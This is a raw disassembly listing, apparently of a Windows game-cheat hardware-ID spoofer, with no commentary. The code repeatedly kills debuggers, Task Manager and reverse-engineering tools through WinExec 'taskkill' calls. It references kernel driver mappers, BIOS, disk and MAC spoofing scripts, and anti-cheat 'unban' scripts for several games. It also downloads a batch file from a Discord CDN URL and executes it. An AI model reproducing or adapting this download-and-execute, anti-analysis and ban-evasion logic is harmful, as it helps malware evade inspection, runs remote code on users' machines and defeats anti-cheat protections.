lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQkdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQdiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQNULLSPOOF.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQkdmapper.exe
call fcn.1402b632c
lea rcx, [rsp + 0xce30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xce50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xce70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xce90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xceb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xced0]
call fcn.14005d8e0
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ce6c]
lea rcx, [rsp + 0x1c28]
call fcn.14005eef0
lea rdx, [rsp + 0x1c28]
lea rcx, str.Check_Serials
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400a9b70
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflineDriverMapper
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISK1.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapper1.bat
call fcn.1402b632c
lea rcx, [0x140392e48]
call fcn.1402b632c
lea rcx, [0x140392e80]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchangerdriver.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMACCHANGERdriverinstaller.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIDEWINx64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_volumeid64.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemc.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_Mail_nxt.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_Defender_timedatechanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
call fcn.1402b632c
lea rcx, [0x140392bb0]
call fcn.1402b632c
lea rcx, [0x140392bf0]
call fcn.1402b632c
lea rcx, [0x140392c30]
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesMicrosoftExtensionManagerExtensionsPCRENAMER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_nxtHWIDCHEKERhehe.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeletemetounspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xcf90]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xcf70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcf70]
call fcn.14005d8d0
mov qword [rsp + 0x1c30], rax
lea rcx, [rsp + 0xcf90]
call fcn.14005d8d0
mov qword [rsp + 0x1c38], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1c30]
mov rdx, qword [rsp + 0x1c38]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
